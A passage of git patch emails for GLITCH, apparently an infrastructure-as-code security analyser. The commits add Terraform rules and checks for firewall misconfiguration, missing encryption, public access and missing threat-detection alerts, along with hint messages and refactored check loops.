"yes"}] + "values": ["true"], "required": "yes", "msg": "client_cert_enabled"}] -ensure_dnssec = [{"au_type": ["resource.google_dns_managed_zone"], "attribute": "dnssec_config", "parents": [""], - "values": [""], "required": "yes"}, - {"au_type": ["resource.google_dns_managed_zone"], "attribute": "state", - "parents": ["dnssec_config"], "values": ["on"], "required": "yes"}] +ensure_dnssec = [{"au_type": ["resource.google_dns_managed_zone"], "attribute": "state", + "parents": ["dnssec_config"], "values": ["on"], "required": "yes", "msg": "dnssec_config.state"}] use_public_ip = [{"au_type": ["resource.aws_launch_configuration", "resource.aws_instance"], "attribute": "associate_public_ip_address", "parents": [""], "values": ["false"], "required": "no"}, @@ -95,51 +112,135 @@ use_public_ip = [{"au_type": ["resource.aws_launch_configuration", "resource.aws "values": ["cloud-ippool"], "required": "no"}] insecure_access_control = [{"au_type": ["resource.aws_eks_cluster"], "attribute": "endpoint_public_access", - "parents": ["vpc_config"], "values": ["false"], "required": "yes"}, + "parents": ["vpc_config"], "values": ["false"], "required": "yes", "msg": "vpc_config.endpoint_public_access"}, {"au_type": ["resource.aws_eks_cluster"], "attribute": "public_access_cidrs[0]", "parents": ["vpc_config"], - "values": [""], "required": "yes"}, + "values": [""], "required": "yes", "msg": "vpc_config.public_access_cidrs"}, {"au_type": ["resource.aws_lambda_permission"], "attribute": "source_arn", "parents": [""], - "values": [""], "required": "yes"}, + "values": [""], "required": "yes", "msg": "source_arn"}, {"au_type": ["resource.aws_db_instance", "resource.aws_rds_cluster_instance"], "attribute": "publicly_accessible", "parents": [""], "values": ["false"], "required": "no"}, {"au_type": ["resource.aws_s3_bucket_public_access_block"], "attribute": "block_public_acls", "parents": [""], - "values": ["true"], "required": "yes"}, + "values": ["true"], "required": "yes", "msg": "block_public_acls"}, {"au_type": ["resource.aws_s3_bucket_public_access_block"], "attribute": "block_public_policy", "parents": [""], - "values": ["true"], "required": "yes"}, + "values": ["true"], "required": "yes", "msg": "block_public_policy"}, {"au_type": ["resource.aws_s3_bucket_public_access_block"], "attribute": "restrict_public_buckets", "parents": [""], - "values": ["true"], "required": "yes"}, + "values": ["true"], "required": "yes", "msg": "restrict_public_buckets"}, {"au_type": ["resource.aws_s3_bucket_public_access_block"], "attribute": "ignore_public_acls", "parents": [""], - "values": ["true"], "required": "yes"}, + "values": ["true"], "required": "yes", "msg": "ignore_public_acls"}, {"au_type": ["resource.aws_s3_bucket"], "attribute": "acl", "parents": [""], "values": ["private"], "required": "no"}, {"au_type": ["resource.azurerm_kubernetes_cluster"], "attribute": "authorized_ip_ranges[0]", - "parents": ["api_server_access_profile"], "values": [""], "required": "yes"}, + "parents": ["api_server_access_profile"], "values": [""], "required": "yes", + "msg": "api_server_access_profile.authorized_ip_ranges"}, {"au_type": ["resource.azurerm_postgresql_server", "resource.azurerm_mariadb_server", "resource.azurerm_mssql_server", "resource.azurerm_mysql_server"], "attribute": "public_network_access_enabled", "parents": [""], - "values": ["false"], "required": "yes"}, + "values": ["false"], "required": "yes", "msg": "public_network_access_enabled"}, {"au_type": ["resource.azurerm_data_factory"], "attribute": "public_network_enabled", "parents": [""], - "values": ["false"], "required": "yes"}, + "values": ["false"], "required": "yes", "msg": "public_network_enabled"}, {"au_type": ["resource.azurerm_storage_container"], "attribute": "container_access_type", "parents": [""], "values": ["private"], "required": "no"}, {"au_type": ["resource.digitalocean_spaces_bucket"], "attribute": "acl", "parents": [""], - "values": ["private"], "required": "yes"}, + "values": ["private"], "required": "yes", "msg": "acl"}, {"au_type": ["resource.digitalocean_spaces_bucket_object"], "attribute": "acl", "parents": [""], "values": ["private"], "required": "no"}, {"au_type": ["resource.google_bigquery_dataset"], "attribute": "special_group", "parents": ["access"], "values": ["projectowners", "projectreaders", "projectwriters"], "required": "no"}, {"au_type": ["resource.google_container_cluster"], "attribute": "enable_private_nodes", - "parents": ["private_cluster_config"], "values": ["true"], "required": "yes"}] + "parents": ["private_cluster_config"], "values": ["true"], "required": "yes", + "msg": "private_cluster_config.enable_private_nodes"}, + {"au_type": ["resource.aws_mq_broker"], "attribute": "publicly_accessible", "parents": [""], "values": ["false"], + "required": "no"}, + {"au_type": ["resource.aws_athena_workgroup"], "attribute": "enforce_workgroup_configuration", + "parents": ["configuration"], "values": ["true"], "required": "no"}] -authentication = [{"au_type": ["resource.azurerm_app_service", "resource.azurerm_function_app"], - "attribute": "auth_settings", "parents": [""], "values": [""], "required": "yes"}, - {"au_type": ["resource.azurerm_app_service", "resource.azurerm_function_app"], "attribute": "enabled", - "parents": ["auth_settings"], "values": ["true"], "required": "yes"}, +authentication = [{"au_type": ["resource.azurerm_app_service", "resource.azurerm_function_app"], "attribute": "enabled", + "parents": ["auth_settings"], "values": ["true"], "required": "yes", "msg": "auth_settings.enabled"}, {"au_type": ["resource.azurerm_linux_virtual_machine", "resource.azurerm_linux_virtual_machine_scale_set"], "attribute": "disable_password_authentication", "parents": [""], "values": ["true"], "required": "no"}, {"au_type": ["resource.azurerm_virtual_machine"], "attribute": "disable_password_authentication", - "parents": ["os_profile_linux_config"], "values": ["true"], "required": "yes"}, + "parents": ["os_profile_linux_config"], "values": ["true"], "required": "yes", + "msg": "os_profile_linux_config.disable_password_authentication"}, {"au_type": ["resource.google_container_cluster"], "attribute": "issue_client_certificate", "parents": ["client_certificate_config"], "values": ["false"], "required": "no"}] + +missing_encryption = [{"au_type": ["resource.aws_api_gateway_method_settings"], "attribute": "cache_data_encrypted", + "parents": ["settings"], "values": ["true"], "required": "yes", "msg": "settings.cache_data_encrypted"}, + {"au_type": ["resource.aws_athena_database"], "attribute": "encryption_option", "parents": ["encryption_configuration"], + "values": ["sse_kms", "sse_s3", "cse_kms"], "required": "yes", "msg": "encryption_configuration.encryption_option"}, + {"au_type": ["resource.aws_athena_workgroup"], "attribute": "result_configuration", "parents": ["configuration"], + "values": [""], "required": "yes", + "msg": "configuration.result_configuration.encryption_configuration.encryption_option"}, + {"au_type": ["resource.aws_athena_workgroup"], "attribute": "encryption_configuration", + "parents": ["result_configuration"], "values": [""], "required": "yes", + "msg": "configuration.result_configuration.encryption_configuration.encryption_option"}, + {"au_type": ["resource.aws_athena_workgroup"], "attribute": "encryption_option", "parents": ["encryption_configuration"], + "values": ["sse_kms", "sse_s3", "cse_kms"], "required": "yes", + "msg": "configuration.result_configuration.encryption_configuration.encryption_option"}, + {"au_type": ["resource.aws_cloudtrail"], "attribute": "kms_key_id", + "parents": [""], "values": [""], "required": "yes", "msg": "kms_key_id"}, + {"au_type": ["resource.aws_codebuild_project"], "attribute": "encryption_disabled", + "parents": ["artifacts", "secondary_artifacts"], "values": ["false"], "required": "no"}, + {"au_type": ["resource.aws_docdb_cluster"], "attribute": "storage_encrypted", + "parents": [""], "values": ["true"], "required": "yes", "msg": "storage_encrypted"}, + {"au_type": ["resource.aws_dax_cluster"], "attribute": "enabled", "parents": ["server_side_encryption"], + "values": ["true"], "required": "yes", "msg": "server_side_encryption.enabled"}, + {"au_type": ["resource.aws_ebs_volume", "resource.aws_efs_file_system"], "attribute": "encrypted", "parents": [""], + "values": ["true"], "required": "yes", "msg": "encrypted"}, + {"au_type": ["resource.aws_instance", "resource.aws_launch_configuration"], "attribute": "encrypted", + "parents": ["root_block_device"], "values": ["true"], "required": "yes", "msg": "root_block_device.encrypted"}, + {"au_type": ["resource.aws_instance", "resource.aws_launch_configuration", "resource.aws_ami"], "attribute": "encrypted", + "parents": ["ebs_block_device"], "values": ["true"], "required": "yes", "msg": "ebs_block_device.encrypted"}, + {"au_type": ["resource.aws_ecs_task_definition"], "attribute": "efs_volume_configuration", "parents": ["volume"], + "values": [""], "required": "yes", "msg": "volume.efs_volume_configuration.transit_encryption"}, + {"au_type": ["resource.aws_ecs_task_definition"], "attribute": "transit_encryption", + "parents": ["efs_volume_configuration"], "values": ["enabled"], "required": "yes", + "msg": "volume.efs_volume_configuration.transit_encryption"}, + {"au_type": ["resource.aws_eks_cluster"], "attribute": "resources[0]", "parents": ["encryption_config"], + "values": ["secrets"], "required": "yes", "msg": "encryption_config.resources"}, + {"au_type": ["resource.aws_eks_cluster"], "attribute": "provider", "parents": ["encryption_config"], + "values": [""], "required": "yes", "msg": "encryption_config.provider.key_arn"}, + {"au_type": ["resource.aws_eks_cluster"], "attribute": "key_arn", "parents": ["provider"], "values": ["any_not_empty"], + "required": "yes", "msg": "encryption_config.provider.key_arn"}, + {"au_type": ["resource.aws_elasticsearch_domain"], "attribute": "enabled", "parents": ["encrypt_at_rest"], + "values": ["true"], "required": "yes", "msg": "encrypt_at_rest.enabled"}, + {"au_type": ["resource.aws_elasticache_replication_group"], "attribute": "at_rest_encryption_enabled", + "parents": [""], "values": ["true"], "required": "yes", "msg": "at_rest_encryption_enabled"}, + {"au_type": ["resource.aws_kinesis_stream"], "attribute": "encryption_type", + "parents": [""], "values": ["kms"], "required": "yes", "msg": "encryption_type"}, + {"au_type": ["resource.aws_kinesis_stream"], "attribute": "kms_key_id", + "parents": [""], "values": ["any_not_empty"], "required": "yes", "msg": "kms_key_id"}, + {"au_type": ["resource.aws_msk_cluster"], "attribute": "client_broker", + "parents": ["encryption_in_transit"], "values": ["tls"], "required": "no"}, + {"au_type": ["resource.aws_rds_cluster_instance"], "attribute": "performance_insights_kms_key_id", + "parents": [""], "values": ["any_not_empty"], "required": "yes", "msg": "performance_insights_kms_key_id"}, + {"au_type": ["resource.aws_rds_cluster", "resource.aws_db_instance"], "attribute": "storage_encrypted", + "parents": [""], "values": ["true"], "required": "yes", "msg": "storage_encrypted"}, + {"au_type": ["resource.aws_rds_cluster"], "attribute": "kms_key_id", + "parents": [""], "values": ["any_not_empty"], "required": "yes", "msg": "kms_key_id"}, + {"au_type": ["resource.aws_redshift_cluster"], "attribute": "encrypted", + "parents": [""], "values": ["true"], "required": "yes", "msg": "encrypted"}, + {"au_type": ["resource.aws_redshift_cluster"], "attribute": "kms_key_id", + "parents": [""], "values": ["any_not_empty"], "required": "yes", "msg": "kms_key_id"}, + {"au_type": ["resource.aws_s3_bucket"], "attribute": "rule", "parents": ["server_side_encryption_configuration"], + "values": [""], "required": "yes", + "msg": "server_side_encryption_configuration.rule.apply_server_side_encryption_by_default.sse_algorithm"}, + {"au_type": ["resource.aws_s3_bucket"], "attribute": "apply_server_side_encryption_by_default", "parents": ["rule"], + "values": [""], "required": "yes", + "msg": "server_side_encryption_configuration.rule.apply_server_side_encryption_by_default.sse_algorithm"}, + {"au_type": ["resource.aws_s3_bucket"], "attribute": "sse_algorithm", + "parents": ["apply_server_side_encryption_by_default"], "values": ["aes256", "aws:kms"], "required": "yes", + "msg": "server_side_encryption_configuration.rule.apply_server_side_encryption_by_default.sse_algorithm"}, + {"au_type": ["resource.aws_sns_topic", "resource.aws_sqs_queue"], "attribute": "kms_master_key_id", "parents": [""], + "values": ["any_not_empty"], "required": "yes", "msg": "kms_master_key_id"}, + {"au_type": ["resource.aws_workspaces_workspace"], "attribute": "root_volume_encryption_enabled", "parents": [""], + "values": ["true"], "required": "yes", "msg": "root_volume_encryption_enabled"}, + {"au_type": ["resource.aws_workspaces_workspace"], "attribute": "user_volume_encryption_enabled", "parents": [""], + "values": ["true"], "required": "yes", "msg": "user_volume_encryption_enabled"}, + {"au_type": ["resource.aws_elasticsearch_domain"], "attribute": "enabled", "parents": ["node_to_node_encryption"], + "values": ["true"], "required": "yes", "msg": "node_to_node_encryption.enabled"}, + {"au_type": ["resource.aws_elasticache_replication_group"], "attribute": "transit_encryption_enabled", + "parents": [""], "values": ["true"], "required": "yes", "msg": "transit_encryption_enabled"}] + [design] exec_atomic_units = ["exec"] default_variables = [] From 87072bdadeb3eff908006cb2342ba1bb9e14d981 Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Fri, 17 Mar 2023 14:28:31 +0000 Subject: [PATCH 05/58] Changes to Invalid Ip Bind; Terraform: Firewall misconfiguration; and minor fixes --- glitch/analysis/rules.py | 3 +- glitch/analysis/security.py | 120 +++++++++++++++++++++--------------- glitch/configs/default.ini | 30 +++++++-- 3 files changed, 98 insertions(+), 55 deletions(-) diff --git a/glitch/analysis/rules.py b/glitch/analysis/rules.py index 6a875122..2131d0a8 100644 --- a/glitch/analysis/rules.py +++ b/glitch/analysis/rules.py @@ -22,7 +22,8 @@ class Error(): 'sec_public_ip': "Associated Public IP address - Associating Public IP addresses allows connections from public internet.", 'sec_access_control': "Insecure Access Control - Developers should be aware of possible unauthorized access.", 'sec_authentication': "Disabled/Weak Authentication - Developers should guarantee that authentication is enabled.", - 'sec_missing_encryption': "Missing Encryption - Developers should ensure encryption of sensitive and critical data. (CWE-311)" + 'sec_missing_encryption': "Missing Encryption - Developers should ensure encryption of sensitive and critical data. (CWE-311)", + 'sec_firewall_misconfig': "Firewall Misconfiguration - Developers should favor the usage of a well configured waf. (CWE-693)" }, 'design': { 'design_imperative_abstraction': "Imperative abstraction - The presence of imperative statements defies the purpose of IaC declarative languages.", diff --git a/glitch/analysis/security.py b/glitch/analysis/security.py index ee967b72..b57e2ded 100644 --- a/glitch/analysis/security.py +++ b/glitch/analysis/security.py @@ -48,6 +48,7 @@ def config(self, config_path: str): SecurityVisitor.__MISSING_ENCRYPTION = json.loads(config['security']['missing_encryption']) SecurityVisitor.__CONFIGURATION_KEYWORDS = json.loads(config['security']['configuration_keywords']) SecurityVisitor.__ENCRYPT_CONFIG = json.loads(config['security']['encrypt_configuration']) + SecurityVisitor.__FIREWALL_CONFIGS = json.loads(config['security']['firewall']) def check_atomicunit(self, au: AtomicUnit, file: str) -> list[Error]: errors = super().check_atomicunit(au, file) @@ -133,43 +134,48 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str): # check integrity policy for policy in SecurityVisitor.__INTEGRITY_POLICY: - if (policy['required'] == "yes" and au.type in policy['au_type']): - if not check_required_attribute(au.attributes, policy['parents'], policy['attribute']): - errors.append(Error('sec_integrity_policy', au, file, repr(au), - f"Suggestion: check for a required attribute with name '{policy['msg']}'.")) - break + if (policy['required'] == "yes" and au.type in policy['au_type'] + and not check_required_attribute(au.attributes, policy['parents'], policy['attribute'])): + errors.append(Error('sec_integrity_policy', au, file, repr(au), + f"Suggestion: check for a required attribute with name '{policy['msg']}'.")) + break # check http without tls for config in SecurityVisitor.__HTTPS_CONFIGS: - if (config["required"] == "yes" and au.type in config['au_type']): - if not check_required_attribute(au.attributes, config["parents"], config['attribute']): - errors.append(Error('sec_https', au, file, repr(au), - f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - break + if (config["required"] == "yes" and au.type in config['au_type'] + and not check_required_attribute(au.attributes, config["parents"], config['attribute'])): + errors.append(Error('sec_https', au, file, repr(au), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + break # check ssl/tls policy for policy in SecurityVisitor.__SSL_TLS_POLICY: - if (policy['required'] == "yes" and au.type in policy['au_type']): - if not check_required_attribute(au.attributes, policy['parents'], policy['attribute']): - errors.append(Error('sec_ssl_tls_policy', au, file, repr(au), - f"Suggestion: check for a required attribute with name '{policy['msg']}'.")) - break + if (policy['required'] == "yes" and au.type in policy['au_type'] + and not check_required_attribute(au.attributes, policy['parents'], policy['attribute'])): + errors.append(Error('sec_ssl_tls_policy', au, file, repr(au), + f"Suggestion: check for a required attribute with name '{policy['msg']}'.")) + break # check dns without dnssec for config in SecurityVisitor.__DNSSEC_CONFIGS: - if (config['required'] == "yes" and au.type in config['au_type']): - if not check_required_attribute(au.attributes, config['parents'], config['attribute']): - errors.append(Error('sec_dnssec', au, file, repr(au), - f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - break + if (config['required'] == "yes" and au.type in config['au_type'] + and not check_required_attribute(au.attributes, config['parents'], config['attribute'])): + errors.append(Error('sec_dnssec', au, file, repr(au), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + break # check public ip for config in SecurityVisitor.__PUBLIC_IP_CONFIGS: - if (config['required'] == "yes" and au.type in config['au_type']): - if not check_required_attribute(au.attributes, config['parents'], config['attribute']): - errors.append(Error('sec_public_ip', au, file, repr(au), - f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - break + if (config['required'] == "yes" and au.type in config['au_type'] + and not check_required_attribute(au.attributes, config['parents'], config['attribute'])): + errors.append(Error('sec_public_ip', au, file, repr(au), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + break + elif (config['required'] == "must_not_exist" and au.type in config['au_type']): + a = check_required_attribute(au.attributes, config['parents'], config['attribute']) + if a: + errors.append(Error('sec_public_ip', a, file, repr(a))) + break # check insecure access control if (au.type == "resource.aws_api_gateway_method"): @@ -202,45 +208,51 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str): elif (au.type == "resource.google_sql_database_instance"): check_database_flags('sec_access_control', "cross db ownership chaining", "off") elif (au.type == "resource.aws_s3_bucket"): - block = get_associated_au(self.code, "resource.aws_s3_bucket_public_access_block", "bucket", - "${aws_s3_bucket." + f"{au.name}" + ".id}", [""]) - if not block: + if not get_associated_au(self.code, "resource.aws_s3_bucket_public_access_block", "bucket", + "${aws_s3_bucket." + f"{au.name}" + ".id}", [""]): errors.append(Error('sec_access_control', au, file, repr(au), f"Suggestion: check for a required resource 'aws_s3_bucket_public_access_block' " + f"associated to an 'aws_s3_bucket' resource.")) for config in SecurityVisitor.__ACCESS_CONTROL_CONFIGS: - if (config['required'] == "yes" and au.type in config['au_type']): - if not check_required_attribute(au.attributes, config['parents'], config['attribute']): - errors.append(Error('sec_access_control', au, file, repr(au), - f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - break + if (config['required'] == "yes" and au.type in config['au_type'] + and not check_required_attribute(au.attributes, config['parents'], config['attribute'])): + errors.append(Error('sec_access_control', au, file, repr(au), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + break # check authentication if (au.type == "resource.google_sql_database_instance"): check_database_flags('sec_authentication', "contained database authentication", "off") elif (au.type == "resource.aws_iam_group"): - block = get_associated_au(self.code, "resource.aws_iam_group_policy", "group", - "${aws_iam_group." + f"{au.name}" + ".name}", [""]) - if not block: + if not get_associated_au(self.code, "resource.aws_iam_group_policy", "group", + "${aws_iam_group." + f"{au.name}" + ".name}", [""]): errors.append(Error('sec_authentication', au, file, repr(au), f"Suggestion: check for a required resource 'aws_iam_group_policy' associated to an " + f"'aws_iam_group' resource.")) for config in SecurityVisitor.__AUTHENTICATION: - if (config['required'] == "yes" and au.type in config['au_type']): - if not check_required_attribute(au.attributes, config['parents'], config['attribute']): - errors.append(Error('sec_authentication', au, file, repr(au), - f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - break + if (config['required'] == "yes" and au.type in config['au_type'] + and not check_required_attribute(au.attributes, config['parents'], config['attribute'])): + errors.append(Error('sec_authentication', au, file, repr(au), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + break # check missing encryption for config in SecurityVisitor.__MISSING_ENCRYPTION: - if (config['required'] == "yes" and au.type in config['au_type']): - if not check_required_attribute(au.attributes, config['parents'], config['attribute']): - errors.append(Error('sec_missing_encryption', au, file, repr(au), - f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - break + if (config['required'] == "yes" and au.type in config['au_type'] + and not check_required_attribute(au.attributes, config['parents'], config['attribute'])): + errors.append(Error('sec_missing_encryption', au, file, repr(au), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + break + + # check firewall misconfiguration + for config in SecurityVisitor.__FIREWALL_CONFIGS: + if (config['required'] == "yes" and au.type in config['au_type'] + and not check_required_attribute(au.attributes, config['parents'], config['attribute'])): + errors.append(Error('sec_firewall_misconfig', au, file, repr(au), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + break return errors @@ -281,7 +293,7 @@ def __check_keyvalue(self, c: CodeElement, name: str, errors.append(Error('sec_https', c, file, repr(c))) break - if re.match(r'^0.0.0.0', value): + if re.match(r'^0.0.0.0', value) or re.match(r'^::/0', value): errors.append(Error('sec_invalid_bind', c, file, repr(c))) for crypt in SecurityVisitor.__CRYPT: @@ -429,7 +441,7 @@ def get_module_var(c, name: str): for config in SecurityVisitor.__PUBLIC_IP_CONFIGS: if (name == config['attribute'] and atomic_unit.type in config['au_type'] and parent_name in config['parents'] and value.lower() not in config['values'] - and config['required'] == 'must_not_exist'): + and config['values'] != [""]): errors.append(Error('sec_public_ip', c, file, repr(c))) break @@ -463,7 +475,7 @@ def get_module_var(c, name: str): for config in SecurityVisitor.__MISSING_ENCRYPTION: if (name == config['attribute'] and atomic_unit.type in config['au_type'] - and parent_name in config['parents'] and config['values'] != []): + and parent_name in config['parents'] and config['values'] != [""]): if ("any_not_empty" in config['values'] and value.lower() == ""): errors.append(Error('sec_missing_encryption', c, file, repr(c))) break @@ -482,6 +494,16 @@ def get_module_var(c, name: str): elif re.search(pattern, value) and config['required'] == "must_not_exist": errors.append(Error('sec_missing_encryption', c, file, repr(c))) + for config in SecurityVisitor.__FIREWALL_CONFIGS: + if (name == config['attribute'] and atomic_unit.type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""]): + if ("any_not_empty" in config['values'] and value.lower() == ""): + errors.append(Error('sec_firewall_misconfig', c, file, repr(c))) + break + elif ("any_not_empty" not in config['values'] and value.lower() not in config['values']): + errors.append(Error('sec_firewall_misconfig', c, file, repr(c))) + break + return errors def check_attribute(self, a: Attribute, file: str, au: AtomicUnit = None, parent_name: str = "") -> list[Error]: diff --git a/glitch/configs/default.ini b/glitch/configs/default.ini index c045d0d0..a30e3732 100644 --- a/glitch/configs/default.ini +++ b/glitch/configs/default.ini @@ -41,9 +41,8 @@ encrypt_configuration = [{"au_type": ["resource.aws_emr_security_configuration"] {"au_type": ["resource.aws_emr_security_configuration"], "keyword": "\"encryptionkeyprovidertype\":", "value": "", "required": "yes"}] - secrets_white_list = ["cloudfront_default_certificate", "client_cert_enabled", "api_key_required", "issue_client_certificate", - "kms_key_id", "kms_key_arn", "key_arn", "performance_insights_kms_key_id", "kms_master_key_id"] + "kms_key_id", "kms_key_arn", "key_arn", "performance_insights_kms_key_id", "kms_master_key_id", "kms_key_self_link", "bypass"] github_actions_resources = ["resource.github_actions_environment_secret", "resource.github_actions_organization_secret", "resource.github_actions_secret"] @@ -60,8 +59,8 @@ ensure_https = [{"au_type": ["resource.aws_cloudfront_distribution"], "attribute "required": "yes", "msg": "cache_behavior.viewer_protocol_policy"}, {"au_type": ["resource.aws_elasticsearch_domain"], "attribute": "enforce_https", "parents": ["domain_endpoint_options"], "values": ["true"], "required": "yes", "msg": "domain_endpoint_options.enforce_https"}, - {"au_type": ["resource.aws_alb_listener"], "attribute": "protocol", "parents": [""], "values": ["https", "tls"], - "required": "yes", "msg": "protocol"}, + {"au_type": ["resource.aws_alb_listener", "resource.aws_lb_listener"], "attribute": "protocol", "parents": [""], + "values": ["https", "tls"], "required": "yes", "msg": "protocol"}, {"au_type": ["resource.azurerm_app_service", "resource.azurerm_app_service_slot", "resource.azurerm_function_app", "resource.azurerm_function_app_slot", "resource.azurerm_linux_web_app", "resource.azurerm_windows_web_app"], "attribute": "https_only", "parents": [""], "values": ["true"], "required": "yes", "msg": "https_only"}, @@ -78,7 +77,7 @@ ssl_tls_policy = [{"au_type": ["resource.aws_api_gateway_domain_name"], "attribu {"au_type": ["resource.aws_elasticsearch_domain"], "attribute": "tls_security_policy", "parents": ["domain_endpoint_options"], "values": ["policy-min-tls-1-2-2019-07"], "required": "yes", "msg": "domain_endpoint_options.tls_security_policy"}, - {"au_type": ["resource.aws_alb_listener"], "attribute": "ssl_policy", "parents": [""], + {"au_type": ["resource.aws_alb_listener", "resource.aws_lb_listener"], "attribute": "ssl_policy", "parents": [""], "values": ["elbsecuritypolicy-tls-1-2-2017-01", "elbsecuritypolicy-tls-1-2-ext-2018-06"], "required": "yes", "msg": "ssl_policy"}, {"au_type": ["resource.azurerm_app_service", "resource.azurerm_app_service_slot", "resource.azurerm_function_app"], @@ -241,6 +240,27 @@ missing_encryption = [{"au_type": ["resource.aws_api_gateway_method_settings"], {"au_type": ["resource.aws_elasticache_replication_group"], "attribute": "transit_encryption_enabled", "parents": [""], "values": ["true"], "required": "yes", "msg": "transit_encryption_enabled"}] +firewall = [{"au_type": ["resource.aws_cloudfront_distribution"], "attribute": "web_acl_id", "parents": [""], + "values": ["any_not_empty"], "required": "yes", "msg": "web_acl_id"}, + {"au_type": ["resource.aws_alb", "resource.aws_lb"], "attribute": "internal", "parents": [""], "values": ["true"], + "required": "yes", "msg": "internal"}, + {"au_type": ["resource.aws_alb", "resource.aws_lb"], "attribute": "drop_invalid_header_fields", "parents": [""], + "values": ["true"], "required": "yes", "msg": "drop_invalid_header_fields"}, + {"au_type": ["resource.google_compute_instance"], "attribute": "can_ip_forward", "parents": [""], "values": ["false"], + "required": "no"}, + {"au_type": ["resource.google_compute_firewall"], "attribute": "destination_ranges[0]", "parents": [""], "values": [""], + "required": "yes", "msg": "destination_ranges"}, + {"au_type": ["resource.google_compute_firewall"], "attribute": "source_ranges[0]", "parents": [""], "values": [""], + "required": "yes", "msg": "source_ranges"}, + {"au_type": ["resource.openstack_fw_rule_v1"], "attribute": "destination_ip_address", "parents": [""], "values": [""], + "required": "yes", "msg": "destination_ip_address"}, + {"au_type": ["resource.openstack_fw_rule_v1"], "attribute": "source_ip_address", "parents": [""], "values": [""], + "required": "yes", "msg": "source_ip_address"}, + {"au_type": ["resource.azurerm_key_vault"], "attribute": "default_action", "parents": ["network_acls"], + "values": ["deny"], "required": "yes", "msg": "network_acls.default_action"}, + {"au_type": ["resource.azurerm_key_vault"], "attribute": "bypass", "parents": ["network_acls"], + "values": ["azureservices"], "required": "yes", "msg": "network_acls.bypass"}] + [design] exec_atomic_units = ["exec"] default_variables = [] From f6a168581e53a79d8546c69fdab5fdee57c6a06a Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Mon, 20 Mar 2023 13:53:10 +0000 Subject: [PATCH 06/58] Terraform: Missing Threats Detection/Alerts code smell --- glitch/analysis/rules.py | 3 ++- glitch/analysis/security.py | 24 ++++++++++++++++++++++++ glitch/configs/default.ini | 15 +++++++++++++++ 3 files changed, 41 insertions(+), 1 deletion(-) diff --git a/glitch/analysis/rules.py b/glitch/analysis/rules.py index 2131d0a8..9f8b4aa5 100644 --- a/glitch/analysis/rules.py +++ b/glitch/analysis/rules.py @@ -23,7 +23,8 @@ class Error(): 'sec_access_control': "Insecure Access Control - Developers should be aware of possible unauthorized access.", 'sec_authentication': "Disabled/Weak Authentication - Developers should guarantee that authentication is enabled.", 'sec_missing_encryption': "Missing Encryption - Developers should ensure encryption of sensitive and critical data. (CWE-311)", - 'sec_firewall_misconfig': "Firewall Misconfiguration - Developers should favor the usage of a well configured waf. (CWE-693)" + 'sec_firewall_misconfig': "Firewall Misconfiguration - Developers should favor the usage of a well configured waf. (CWE-693)", + 'sec_threats_detection_alerts': "Missing Threats Detection/Alerts - Developers should enable threats detection and alerts when it is possible." }, 'design': { 'design_imperative_abstraction': "Imperative abstraction - The presence of imperative statements defies the purpose of IaC declarative languages.", diff --git a/glitch/analysis/security.py b/glitch/analysis/security.py index b57e2ded..55caabe4 100644 --- a/glitch/analysis/security.py +++ b/glitch/analysis/security.py @@ -49,6 +49,7 @@ def config(self, config_path: str): SecurityVisitor.__CONFIGURATION_KEYWORDS = json.loads(config['security']['configuration_keywords']) SecurityVisitor.__ENCRYPT_CONFIG = json.loads(config['security']['encrypt_configuration']) SecurityVisitor.__FIREWALL_CONFIGS = json.loads(config['security']['firewall']) + SecurityVisitor.__MISSING_THREATS_DETECTION_ALERTS = json.loads(config['security']['missing_threats_detection_alerts']) def check_atomicunit(self, au: AtomicUnit, file: str) -> list[Error]: errors = super().check_atomicunit(au, file) @@ -254,6 +255,19 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str): f"Suggestion: check for a required attribute with name '{config['msg']}'.")) break + # check missing threats detection and alerts + for config in SecurityVisitor.__MISSING_THREATS_DETECTION_ALERTS: + if (config['required'] == "yes" and au.type in config['au_type'] + and not check_required_attribute(au.attributes, config['parents'], config['attribute'])): + errors.append(Error('sec_threats_detection_alerts', au, file, repr(au), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + break + elif (config['required'] == "must_not_exist" and au.type in config['au_type']): + a = check_required_attribute(au.attributes, config['parents'], config['attribute']) + if a: + errors.append(Error('sec_threats_detection_alerts', a, file, repr(a))) + break + return errors def check_dependency(self, d: Dependency, file: str) -> list[Error]: @@ -504,6 +518,16 @@ def get_module_var(c, name: str): errors.append(Error('sec_firewall_misconfig', c, file, repr(c))) break + for config in SecurityVisitor.__MISSING_THREATS_DETECTION_ALERTS: + if (name == config['attribute'] and atomic_unit.type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""]): + if ("any_not_empty" in config['values'] and value.lower() == ""): + errors.append(Error('sec_threats_detection_alerts', c, file, repr(c))) + break + elif ("any_not_empty" not in config['values'] and value.lower() not in config['values']): + errors.append(Error('sec_threats_detection_alerts', c, file, repr(c))) + break + return errors def check_attribute(self, a: Attribute, file: str, au: AtomicUnit = None, parent_name: str = "") -> list[Error]: diff --git a/glitch/configs/default.ini b/glitch/configs/default.ini index a30e3732..88476137 100644 --- a/glitch/configs/default.ini +++ b/glitch/configs/default.ini @@ -261,6 +261,21 @@ firewall = [{"au_type": ["resource.aws_cloudfront_distribution"], "attribute": " {"au_type": ["resource.azurerm_key_vault"], "attribute": "bypass", "parents": ["network_acls"], "values": ["azureservices"], "required": "yes", "msg": "network_acls.bypass"}] +missing_threats_detection_alerts = [{"au_type": ["resource.azurerm_mssql_server_security_alert_policy"], + "attribute": "disabled_alerts[0]", "parents": [""], "values": [""], "required": "must_not_exist"}, + {"au_type": ["resource.github_repository"], "attribute": "vulnerability_alerts", + "parents": [""], "values": ["true"], "required": "yes", "msg": 